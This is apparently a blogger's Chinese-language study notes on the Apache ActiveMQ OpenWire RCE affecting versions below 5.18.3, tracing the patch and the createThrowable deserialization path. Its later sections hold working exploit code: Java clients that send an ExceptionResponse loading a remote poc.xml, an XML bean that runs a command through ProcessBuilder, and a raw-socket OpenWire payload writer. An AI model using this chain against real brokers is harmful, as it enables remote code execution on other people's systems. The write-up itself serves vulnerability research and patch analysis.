纯小白只能跟在大哥们的走o(╥﹏╥)o
主要看大哥的,感谢大哥Nivia,640,ycx
https://exp10it.cn/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/
Apache ActiveMQ (版本 < 5.18.3) RCE 分析
环境搭建
java 1.8 331
activemq 5.15.15ActiveMQ (apache.org)
idea远程调试
分析
跟在大哥,首先看历史提交吧
https://github.com/apache/activemq/commit/958330df26cf3d5cdb63905dc2c6882e98781d8f
https://github.com/apache/activemq/blob/1d0a6d647e468334132161942c1442eed7708ad2/activemq-openwire-legacy/src/main/java/org/apache/activemq/openwire/v4/ExceptionResponseMarshaller.java
发现多了一个类,其实也就都用了一个方法
在org.apache.activemq.openwire.v1.BaseDataStreamMarshaller 中createThrowable方法用了此类
1 2 3 4 5 6 7 8 9 10 11 12 13
| ... try { Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader()); OpenWireUtil.validateIsThrowable(clazz); Constructor constructor = clazz.getConstructor(new Class[] {String.class}); return (Throwable)constructor.newInstance(new Object[] {message}); } catch (IllegalArgumentException e) { return e; }
|
看看这个类中这个方法在哪里调用了
发现在v1这个包里只有
tightUnmarsalThrowable / looseUnmarsalThrowable
调用了说明子类并没有重写这个方法,应该还是会通过这2个方法来调用createthrow
全局搜搜哪里用了这个2方法发现v1包里只有2个类
一个是ExceptionResponseMarshaller另一个是ConnectionErrorMarshaller
ExceptionResponseMarshaller 顾名思义就是对 ExceptionResponse 进行序列化/反序列化的类
ExceptionResponse 的定义如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| package org.apache.activemq.command;
public class ExceptionResponse extends Response { public static final byte DATA_STRUCTURE_TYPE = 31; Throwable exception;
public ExceptionResponse() { }
public ExceptionResponse(Throwable e) { this.setException(e); }
public byte getDataStructureType() { return 31; }
public Throwable getException() { return this.exception; }
public void setException(Throwable exception) { this.exception = exception; }
public boolean isException() { return true; } }
|
ExceptionResponseMarshaller
其对应的tightUnmarshal
和looseUnmarshal
方法会调用对应的throwable
这里看tightUnmarshal方法
1
| info.setException((java.lang.Throwable) tightUnmarsalThrowable(wireFormat, dataIn, bs));
|
先跟进tightUnmarsalThrowable
1 2 3 4
| if (bs.readBoolean()) { String clazz = tightUnmarshalString(dataIn, bs); String message = tightUnmarshalString(dataIn, bs); Throwable o = createThrowable(clazz, message);
|
这里传入的BooleanStream bs是一个存储bool值的数组,
这里会获取传入类的class和message信息,然后获取这个类有一个string参数的构造器再实例化,emmm这个一个类的string,正好对应之前学postgresql的利用类
org.springframework.context.support.ClassPathXmlApplicationContext
然后看大哥的…这里是读序列化的信息,现在是看怎么序列化的了吧
找到对应的tightMarshalThrowable
o 就是 ExceptionResponse 里面的 exception 字段 (继承了 Throwable), 然后分别将 o 的 className 和 message 写入序列化流
我们只需要构造一个 ExceptionResponse 然后发给 ActiveMQ 服务器, 之后 ActiveMQ 会自己调用 unmarshal, 最后触发 createThrowable
看大哥的demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package com.example;
import org.apache.activemq.ActiveMQConnectionFactory;
import javax.jms.*;
public class Demo { public static void main(String[] args) throws Exception {
ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://localhost:61616"); Connection connection = connectionFactory.createConnection(); connection.start(); Session session = connection.createSession(); Destination destination = session.createQueue("tempQueue");
MessageProducer producer = session.createProducer(destination); Message message = session.createObjectMessage("123"); producer.send(message);
connection.close(); } }
|
然后随便打几个断点试试 (注意在一次通信的过程中 ActiveMQ 会 marshal / unmarshal 一些其它的数据, 调试的时候记得判断)
调试进入org.apache.activemq.transport.tcp.TcpTransport#readCommand
1 2 3
| protected Object readCommand() throws IOException { return wireFormat.unmarshal(dataIn); }
|
继续跟进org.apache.activemq.openwire.OpenWireFormat#doUnmarshal
看到根据读取的头不同,取不同的dsm,
这个 dataType 其实对应的就是 Message 类内部的 DATA_STRUCTURE_TYPE
字段
在 demo 中我们发送的是一个 ObjectMessage (ActiveMQObjectMessage) 对象, 它的 dataType 是 26
获取到了对应的序列化器之后, 会调用它的 tightUnmarshal / looseUnmarshal 方法进一步处理 Message 内容,而这里tightUnmarshal 默认是false所以会调用looseUnmarshal
我一开始的思路是去修改 ObjectMessage 的 DATA_STRUCTURE_TYPE
字段, 把它改成 31 然后发送
后来想了一会发现不能这么搞, 因为对于不同的 Message 类型, 序列化器会单独进行处理, 比如调用 writeXXX 和 readXXX 的类型和次数都不一样
因为 ExceptionResponseMarshaller 也有 marshal 方法, 所以思路就改成了如何去发送一个经由这个 marshaller 处理的 ExceptionResponse
TcpTransport 这个类它的 oneway 方法会调用 wireFormat.marshal() 去序列化 command
在当前源码目录下新建一个 org.apache.activemq.transport.tcp.TcpTransport
类, 然后重写对应的逻辑, 这样在运行的时候, 因为 classpath 查找顺序的问题, 程序就会优先使用当前源码目录里的 TcpTransport 类
然后是 createThrowable 方法的利用, 这块其实跟 PostgreSQL JDBC 的利用类似, 因为 ActiveMQ 自带 spring 相关依赖, 那么就可以利用 ClassPathXmlApplicationContext 加载 XML 实现 RCE
1 2 3 4 5 6 7
| public void oneway(Object command) throws IOException { this.checkStarted(); Throwable obj = new ClassPathXmlApplicationContext("http://127.0.0.1:8000/poc.xml"); ExceptionResponse response = new ExceptionResponse(obj); this.wireFormat.marshal(response, this.dataOut); this.dataOut.flush(); }
|
因为在 marshal 的时候会调用 o.getClass().getName()
获取类名, 而 getClass 方法无法重写 (final), 所以我在这里同样 patch 了 org.springframework.context.support.ClassPathXmlApplicationContext
, 使其继承 Throwable 类
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package org.springframework.context.support;
public class ClassPathXmlApplicationContext extends Throwable{ private String message;
public ClassPathXmlApplicationContext(String message) { this.message = message; }
@Override public String getMessage() { return message; } }
|
poc.xml
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg > <list> <value>calc</value> </list> </constructor-arg> </bean> </beans>
|
思考
先看看怎么直接传入一个ExceptionResponse类,在github上发现payload
1 2 3 4 5 6 7 8 9 10 11 12 13
| ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://localhost:61616");
Connection connection = connectionFactory.createConnection(); connection.start(); ActiveMQSession session = (ActiveMQSession) connection.createSession(false,Session.AUTO_ACKNOWLEDGE); ExceptionResponse exceptionResponse = new ExceptionResponse();
exceptionResponse.setException(new ClassPathXmlApplicationContext("http://127.0.0.1:8000/poc.xml"));
session.syncSendPacket(exceptionResponse);
connection.close();
|
跟进这个syncSendPacket
1 2 3
| public Response syncSendPacket(Command command) throws JMSException { return connection.syncSendPacket(command); }
|
最终会调用到
1 2 3 4 5 6 7 8 9 10
| public Response syncSendPacket(Command command, int timeout) throws JMSException { if (isClosed()) { throw new ConnectionClosedException(); } else {
try { Response response = (Response)(timeout > 0 ? this.transport.request(command, timeout) : this.transport.request(command)); ...
|
会进去request,
1 2 3
| public Object request(Object command) throws IOException { FutureResponse response = asyncRequest(command, null); return response.getResult();
|
然后发现会调用一次序列化,然后再getResult服务端又进行反序列
看完大哥了就看看,之前提到的ConnectionErrorMarshaller可不可以用
发现其实都差不多但是ConnectionError是直接父类直接就是BaseCommand而ExceptionResponse父类是Response
把ExceptionResponse换成ConnectionError也会造成命令执行
发现这个cve大哥是直接写协议过去的,我只能说真nb…,看到协议我脑袋都大,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| private static final String BROKER_URL = "tcp://localhost:61616"; private static final Boolean NON_TRANSACTED = false; private static final long TIMEOUT = 20000; public static void main(String[] args) throws IOException { String ip=""; int port=; Socket sck=new Socket(ip,port);
DataOutputStream out = null; DataInputStream in = null; out = new DataOutputStream(new BufferedOutputStream(new FileOutputStream("test.txt"))); out.writeInt(32); out.writeByte(31); out.writeInt(1); out.writeBoolean(true); out.writeInt(1); out.writeBoolean(true); out.writeBoolean(true); out.writeUTF("类"); out.writeBoolean(true); out.writeUTF("地址"); out.close(); in = new DataInputStream(new BufferedInputStream(new FileInputStream("test.txt"))); OutputStream os=sck.getOutputStream(); int length = in.available(); byte[] buf = new byte[length]; in.readFully(buf); os.write(buf); in.close(); sck.close(); } }
|
影响版本:
Apache ActiveMQ<5.18.3
Apache ActiveMQ<5.17.6
Apache ActiveMQ < 5.16.7
Apache ActiveMQ < 5.15.16